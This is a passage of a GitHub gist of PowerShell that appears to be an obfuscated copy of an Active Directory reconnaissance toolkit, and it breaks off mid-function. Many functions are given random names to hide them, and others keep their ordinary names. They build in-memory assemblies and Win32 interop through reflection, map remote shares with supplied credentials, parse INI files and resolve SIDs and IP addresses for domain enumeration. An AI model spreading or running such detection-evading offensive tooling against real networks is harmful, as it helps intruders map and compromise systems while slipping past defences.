Last active
September 1, 2023 18:17
-
-
Save alacerda/c8c6c33f3a8940bb71cb3b902edb33bc to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function 026904T3 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] | |
[CmdletBinding()] | |
Param ( | |
[Parameter(Position = 0)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ModuleName = [Guid]::NewGuid().ToString() | |
) | |
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) | |
$LoadedAssemblies = $AppDomain.GetAssemblies() | |
foreach ($Assembly in $LoadedAssemblies) { | |
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { | |
return $Assembly | |
} | |
} | |
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName) | |
$Domain = $AppDomain | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) | |
return $ModuleBuilder | |
} | |
function func { | |
Param ( | |
[Parameter(Position = 0, Mandatory = $True)] | |
[String] | |
$DllName, | |
[Parameter(Position = 1, Mandatory = $True)] | |
[string] | |
$FunctionName, | |
[Parameter(Position = 2, Mandatory = $True)] | |
[Type] | |
$ReturnType, | |
[Parameter(Position = 3)] | |
[Type[]] | |
$ParameterTypes, | |
[Parameter(Position = 4)] | |
[Runtime.InteropServices.CallingConvention] | |
$NativeCallingConvention, | |
[Parameter(Position = 5)] | |
[Runtime.InteropServices.CharSet] | |
$Charset, | |
[String] | |
$EntryPoint, | |
[Switch] | |
$SetLastError | |
) | |
$Properties = @{ | |
DllName = $DllName | |
FunctionName = $FunctionName | |
ReturnType = $ReturnType | |
} | |
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } | |
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } | |
if ($Charset) { $Properties['Charset'] = $Charset } | |
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } | |
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } | |
New-Object PSObject -Property $Properties | |
} | |
function Add-Win32Type | |
{ | |
[OutputType([Hashtable])] | |
Param( | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$DllName, | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$FunctionName, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[String] | |
$EntryPoint, | |
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] | |
[Type] | |
$ReturnType, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Type[]] | |
$ParameterTypes, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Runtime.InteropServices.CallingConvention] | |
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Runtime.InteropServices.CharSet] | |
$Charset = [Runtime.InteropServices.CharSet]::Auto, | |
[Parameter(ValueFromPipelineByPropertyName=$True)] | |
[Switch] | |
$SetLastError, | |
[Parameter(Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[ValidateNotNull()] | |
[String] | |
$Namespace = '' | |
) | |
BEGIN | |
{ | |
$TypeHash = @{} | |
} | |
PROCESS | |
{ | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
if ($Namespace) | |
{ | |
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") | |
} | |
else | |
{ | |
$TypeHash[$DllName] = $Module.GetType($DllName) | |
} | |
} | |
else | |
{ | |
if (!$TypeHash.ContainsKey($DllName)) | |
{ | |
if ($Namespace) | |
{ | |
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') | |
} | |
else | |
{ | |
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') | |
} | |
} | |
$Method = $TypeHash[$DllName].DefineMethod( | |
$FunctionName, | |
'Public,Static,PinvokeImpl', | |
$ReturnType, | |
$ParameterTypes) | |
$i = 1 | |
foreach($Parameter in $ParameterTypes) | |
{ | |
if ($Parameter.IsByRef) | |
{ | |
[void] $Method.DefineParameter($i, 'Out', $null) | |
} | |
$i++ | |
} | |
$DllImport = [Runtime.InteropServices.DllImportAttribute] | |
$SetLastErrorField = $DllImport.GetField('SetLastError') | |
$CallingConventionField = $DllImport.GetField('CallingConvention') | |
$CharsetField = $DllImport.GetField('CharSet') | |
$EntryPointField = $DllImport.GetField('EntryPoint') | |
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } | |
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } | |
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) | |
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, | |
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), | |
[Reflection.FieldInfo[]] @($SetLastErrorField, | |
$CallingConventionField, | |
$CharsetField, | |
$EntryPointField), | |
[Object[]] @($SLEValue, | |
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), | |
([Runtime.InteropServices.CharSet] $Charset), | |
$ExportedFuncName)) | |
$Method.SetCustomAttribute($DllImportAttribute) | |
} | |
} | |
END | |
{ | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return $TypeHash | |
} | |
$ReturnTypes = @{} | |
foreach ($Key in $TypeHash.Keys) | |
{ | |
$Type = $TypeHash[$Key].CreateType() | |
$ReturnTypes[$Key] = $Type | |
} | |
return $ReturnTypes | |
} | |
} | |
function psenum { | |
[OutputType([Type])] | |
Param ( | |
[Parameter(Position = 0, Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[Parameter(Position = 1, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$FullName, | |
[Parameter(Position = 2, Mandatory=$True)] | |
[Type] | |
$Type, | |
[Parameter(Position = 3, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$EnumElements, | |
[Switch] | |
$Bitfield | |
) | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return ($Module.GetType($FullName)) | |
} | |
$EnumType = $Type -as [Type] | |
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) | |
if ($Bitfield) | |
{ | |
$FlagsConstructor = [FlagsAttribute].GetConstructor(@()) | |
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) | |
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) | |
} | |
foreach ($Key in $EnumElements.Keys) | |
{ | |
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) | |
} | |
$EnumBuilder.CreateType() | |
} | |
function field { | |
Param ( | |
[Parameter(Position = 0, Mandatory=$True)] | |
[UInt16] | |
$Position, | |
[Parameter(Position = 1, Mandatory=$True)] | |
[Type] | |
$Type, | |
[Parameter(Position = 2)] | |
[UInt16] | |
$Offset, | |
[Object[]] | |
$MarshalAs | |
) | |
@{ | |
Position = $Position | |
Type = $Type -as [Type] | |
Offset = $Offset | |
MarshalAs = $MarshalAs | |
} | |
} | |
function struct | |
{ | |
[OutputType([Type])] | |
Param ( | |
[Parameter(Position = 1, Mandatory=$True)] | |
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] | |
$Module, | |
[Parameter(Position = 2, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$FullName, | |
[Parameter(Position = 3, Mandatory=$True)] | |
[ValidateNotNullOrEmpty()] | |
[Hashtable] | |
$StructFields, | |
[Reflection.Emit.PackingSize] | |
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified, | |
[Switch] | |
$ExplicitLayout | |
) | |
if ($Module -is [Reflection.Assembly]) | |
{ | |
return ($Module.GetType($FullName)) | |
} | |
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, | |
Class, | |
Public, | |
Sealed, | |
BeforeFieldInit' | |
if ($ExplicitLayout) | |
{ | |
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout | |
} | |
else | |
{ | |
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout | |
} | |
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) | |
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] | |
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) | |
$Fields = New-Object Hashtable[]($StructFields.Count) | |
foreach ($Field in $StructFields.Keys) | |
{ | |
$Index = $StructFields[$Field]['Position'] | |
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} | |
} | |
foreach ($Field in $Fields) | |
{ | |
$FieldName = $Field['FieldName'] | |
$FieldProp = $Field['Properties'] | |
$Offset = $FieldProp['Offset'] | |
$Type = $FieldProp['Type'] | |
$MarshalAs = $FieldProp['MarshalAs'] | |
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') | |
if ($MarshalAs) | |
{ | |
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) | |
if ($MarshalAs[1]) | |
{ | |
$Size = $MarshalAs[1] | |
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, | |
$UnmanagedType, $SizeConst, @($Size)) | |
} | |
else | |
{ | |
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) | |
} | |
$NewField.SetCustomAttribute($AttribBuilder) | |
} | |
if ($ExplicitLayout) { $NewField.SetOffset($Offset) } | |
} | |
$SizeMethod = $StructBuilder.DefineMethod('GetSize', | |
'Public, Static', | |
[Int], | |
[Type[]] @()) | |
$ILGenerator = $SizeMethod.GetILGenerator() | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
[Type].GetMethod('GetTypeFromHandle')) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, | |
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) | |
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) | |
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', | |
'PrivateScope, Public, Static, HideBySig, SpecialName', | |
$StructBuilder, | |
[Type[]] @([IntPtr])) | |
$ILGenerator2 = $ImplicitConverter.GetILGenerator() | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
[Type].GetMethod('GetTypeFromHandle')) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, | |
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) | |
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) | |
$StructBuilder.CreateType() | |
} | |
Function Y29S8XBN { | |
[CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] | |
Param ( | |
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string]$Name, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[System.Type]$Type = [int], | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string[]]$Alias, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$Mandatory, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[int]$Position, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string]$HelpMessage, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$DontShow, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromPipeline, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromPipelineByPropertyName, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValueFromRemainingArguments, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[string]$ParameterSetName = '__AllParameterSets', | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowNull, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowEmptyString, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$AllowEmptyCollection, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValidateNotNull, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[switch]$ValidateNotNullOrEmpty, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateCount, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateRange, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateCount(2,2)] | |
[int[]]$ValidateLength, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string]$ValidatePattern, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[scriptblock]$ValidateScript, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[string[]]$ValidateSet, | |
[Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] | |
[ValidateNotNullOrEmpty()] | |
[ValidateScript({ | |
if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) | |
{ | |
Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' | |
} | |
$true | |
})] | |
$Dictionary = $false, | |
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] | |
[switch]$CreateVariables, | |
[Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] | |
[ValidateNotNullOrEmpty()] | |
[ValidateScript({ | |
if($_.GetType().Name -notmatch 'Dictionary') { | |
Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' | |
} | |
$true | |
})] | |
$BoundParameters | |
) | |
Begin { | |
$InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary | |
function _temp { [CmdletBinding()] Param() } | |
$CommonParameters = (Get-Command _temp).Parameters.Keys | |
} | |
Process { | |
if($CreateVariables) { | |
$BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } | |
ForEach($Parameter in $BoundKeys) { | |
if ($Parameter) { | |
Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force | |
} | |
} | |
} | |
else { | |
$StaleKeys = @() | |
$StaleKeys = $PSBoundParameters.GetEnumerator() | | |
ForEach-Object { | |
if($_.Value.PSobject.Methods.Name -match '^Equals$') { | |
if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { | |
$_.Key | |
} | |
} | |
else { | |
if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { | |
$_.Key | |
} | |
} | |
} | |
if($StaleKeys) { | |
$StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} | |
} | |
$UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | | |
Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | | |
Select-Object -ExpandProperty Key | | |
Where-Object { $PSBoundParameters.Keys -notcontains $_ } | |
$tmp = $null | |
ForEach ($Parameter in $UnboundParameters) { | |
$DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 | |
if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { | |
$PSBoundParameters.$Parameter = $DefaultValue | |
} | |
} | |
if($Dictionary) { | |
$DPDictionary = $Dictionary | |
} | |
else { | |
$DPDictionary = $InternalDictionary | |
} | |
$GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} | |
$AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' | |
$ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' | |
$AliasRegex = '^Alias$' | |
$ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute | |
switch -regex ($PSBoundParameters.Keys) { | |
$AttributeRegex { | |
Try { | |
$ParameterAttribute.$_ = . $GetVar | |
} | |
Catch { | |
$_ | |
} | |
continue | |
} | |
} | |
if($DPDictionary.Keys -contains $Name) { | |
$DPDictionary.$Name.Attributes.Add($ParameterAttribute) | |
} | |
else { | |
$AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] | |
switch -regex ($PSBoundParameters.Keys) { | |
$ValidationRegex { | |
Try { | |
$ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop | |
$AttributeCollection.Add($ParameterOptions) | |
} | |
Catch { $_ } | |
continue | |
} | |
$AliasRegex { | |
Try { | |
$ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop | |
$AttributeCollection.Add($ParameterAlias) | |
continue | |
} | |
Catch { $_ } | |
} | |
} | |
$AttributeCollection.Add($ParameterAttribute) | |
$Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) | |
$DPDictionary.Add($Name, $Parameter) | |
} | |
} | |
} | |
End { | |
if(!$CreateVariables -and !$Dictionary) { | |
$DPDictionary | |
} | |
} | |
} | |
function B7H5J9AS { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([Hashtable])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('FullName', 'Name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Path, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty, | |
[Switch] | |
$OutputObject | |
) | |
BEGIN { | |
$MappedComputers = @{} | |
} | |
PROCESS { | |
ForEach ($TargetPath in $Path) { | |
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { | |
$HostComputer = (New-Object System.Uri($TargetPath)).Host | |
if (-not $MappedComputers[$HostComputer]) { | |
CFRACMAT -ComputerName $HostComputer -Credential $Credential | |
$MappedComputers[$HostComputer] = $True | |
} | |
} | |
if (Test-Path -Path $TargetPath) { | |
if ($PSBoundParameters['OutputObject']) { | |
$IniObject = New-Object PSObject | |
} | |
else { | |
$IniObject = @{} | |
} | |
Switch -Regex -File $TargetPath { | |
"^\[(.+)\]" | |
{ | |
$Section = $matches[1].Trim() | |
if ($PSBoundParameters['OutputObject']) { | |
$Section = $Section.Replace(' ', '') | |
$SectionObject = New-Object PSObject | |
$IniObject | Add-Member Noteproperty $Section $SectionObject | |
} | |
else { | |
$IniObject[$Section] = @{} | |
} | |
$CommentCount = 0 | |
} | |
"^(;.*)$" | |
{ | |
$Value = $matches[1].Trim() | |
$CommentCount = $CommentCount + 1 | |
$Name = 'Comment' + $CommentCount | |
if ($PSBoundParameters['OutputObject']) { | |
$Name = $Name.Replace(' ', '') | |
$IniObject.$Section | Add-Member Noteproperty $Name $Value | |
} | |
else { | |
$IniObject[$Section][$Name] = $Value | |
} | |
} | |
"(.+?)\s*=(.*)" | |
{ | |
$Name, $Value = $matches[1..2] | |
$Name = $Name.Trim() | |
$Values = $Value.split(',') | ForEach-Object { $_.Trim() } | |
if ($PSBoundParameters['OutputObject']) { | |
$Name = $Name.Replace(' ', '') | |
$IniObject.$Section | Add-Member Noteproperty $Name $Values | |
} | |
else { | |
$IniObject[$Section][$Name] = $Values | |
} | |
} | |
} | |
$IniObject | |
} | |
} | |
} | |
END { | |
$MappedComputers.Keys | P4Y3VQQR | |
} | |
} | |
function N8LLTILS { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[System.Management.Automation.PSObject[]] | |
$InputObject, | |
[Parameter(Mandatory = $True, Position = 1)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Path, | |
[Parameter(Position = 2)] | |
[ValidateNotNullOrEmpty()] | |
[Char] | |
$Delimiter = ',', | |
[Switch] | |
$Append | |
) | |
BEGIN { | |
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) | |
$Exists = [System.IO.File]::Exists($OutputPath) | |
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' | |
$Null = $Mutex.WaitOne() | |
if ($PSBoundParameters['Append']) { | |
$FileMode = [System.IO.FileMode]::Append | |
} | |
else { | |
$FileMode = [System.IO.FileMode]::Create | |
$Exists = $False | |
} | |
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) | |
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream) | |
$CSVWriter.AutoFlush = $True | |
} | |
PROCESS { | |
ForEach ($Entry in $InputObject) { | |
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation | |
if (-not $Exists) { | |
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } | |
$Exists = $True | |
} | |
else { | |
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } | |
} | |
} | |
} | |
END { | |
$Mutex.ReleaseMutex() | |
$CSVWriter.Dispose() | |
$CSVStream.Dispose() | |
} | |
} | |
function Resolve-IPAddress { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('HostName', 'dnshostname', 'name')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ComputerName = $Env:COMPUTERNAME | |
) | |
PROCESS { | |
ForEach ($Computer in $ComputerName) { | |
try { | |
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { | |
if ($_.AddressFamily -eq 'InterNetwork') { | |
$Out = New-Object PSObject | |
$Out | Add-Member Noteproperty 'ComputerName' $Computer | |
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString | |
$Out | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." | |
} | |
} | |
} | |
} | |
function ConvertTo-SID { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('Name', 'Identity')] | |
[String[]] | |
$ObjectName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$DomainSearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
ForEach ($Object in $ObjectName) { | |
$Object = $Object -Replace '/','\' | |
if ($PSBoundParameters['Credential']) { | |
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments | |
if ($DN) { | |
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
$UserName = $DN.Split(',')[0].split('=')[1] | |
$DomainSearcherArguments['Identity'] = $UserName | |
$DomainSearcherArguments['Domain'] = $UserDomain | |
$DomainSearcherArguments['Properties'] = 'objectsid' | |
H86VA398 @DomainSearcherArguments | Select-Object -Expand objectsid | |
} | |
} | |
else { | |
try { | |
if ($Object.Contains('\')) { | |
$Domain = $Object.Split('\')[0] | |
$Object = $Object.Split('\')[1] | |
} | |
elseif (-not $PSBoundParameters['Domain']) { | |
$DomainSearcherArguments = @{} | |
$Domain = (Get-Domain @DomainSearcherArguments).Name | |
} | |
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) | |
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value | |
} | |
catch { | |
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" | |
} | |
} | |
} | |
} | |
} | |
function ConvertFrom-SID { | |
[OutputType([String])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('SID')] | |
[ValidatePattern('^S-1-.*')] | |
[String[]] | |
$ObjectSid, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$ADNameArguments = @{} | |
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } | |
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } | |
} | |
PROCESS { | |
ForEach ($TargetSid in $ObjectSid) { | |
$TargetSid = $TargetSid.trim('*') | |
try { | |
Switch ($TargetSid) { | |
'S-1-0' { 'Null Authority' } | |
'S-1-0-0' { 'Nobody' } | |
'S-1-1' { 'World Authority' } | |
'S-1-1-0' { 'Everyone' } | |
'S-1-2' { 'Local Authority' } | |
'S-1-2-0' { 'Local' } | |
'S-1-2-1' { 'Console Logon ' } | |
'S-1-3' { 'Creator Authority' } | |
'S-1-3-0' { 'Creator Owner' } | |
'S-1-3-1' { 'Creator Group' } | |
'S-1-3-2' { 'Creator Owner Server' } | |
'S-1-3-3' { 'Creator Group Server' } | |
'S-1-3-4' { 'Owner Rights' } | |
'S-1-4' { 'Non-unique Authority' } | |
'S-1-5' { 'NT Authority' } | |
'S-1-5-1' { 'Dialup' } | |
'S-1-5-2' { 'Network' } | |
'S-1-5-3' { 'Batch' } | |
'S-1-5-4' { 'Interactive' } | |
'S-1-5-6' { 'Service' } | |
'S-1-5-7' { 'Anonymous' } | |
'S-1-5-8' { 'Proxy' } | |
'S-1-5-9' { 'Enterprise Domain Controllers' } | |
'S-1-5-10' { 'Principal Self' } | |
'S-1-5-11' { 'Authenticated Users' } | |
'S-1-5-12' { 'Restricted Code' } | |
'S-1-5-13' { 'Terminal Server Users' } | |
'S-1-5-14' { 'Remote Interactive Logon' } | |
'S-1-5-15' { 'This Organization ' } | |
'S-1-5-17' { 'This Organization ' } | |
'S-1-5-18' { 'Local System' } | |
'S-1-5-19' { 'NT Authority' } | |
'S-1-5-20' { 'NT Authority' } | |
'S-1-5-80-0' { 'All Services ' } | |
'S-1-5-32-544' { 'BUILTIN\Administrators' } | |
'S-1-5-32-545' { 'BUILTIN\Users' } | |
'S-1-5-32-546' { 'BUILTIN\Guests' } | |
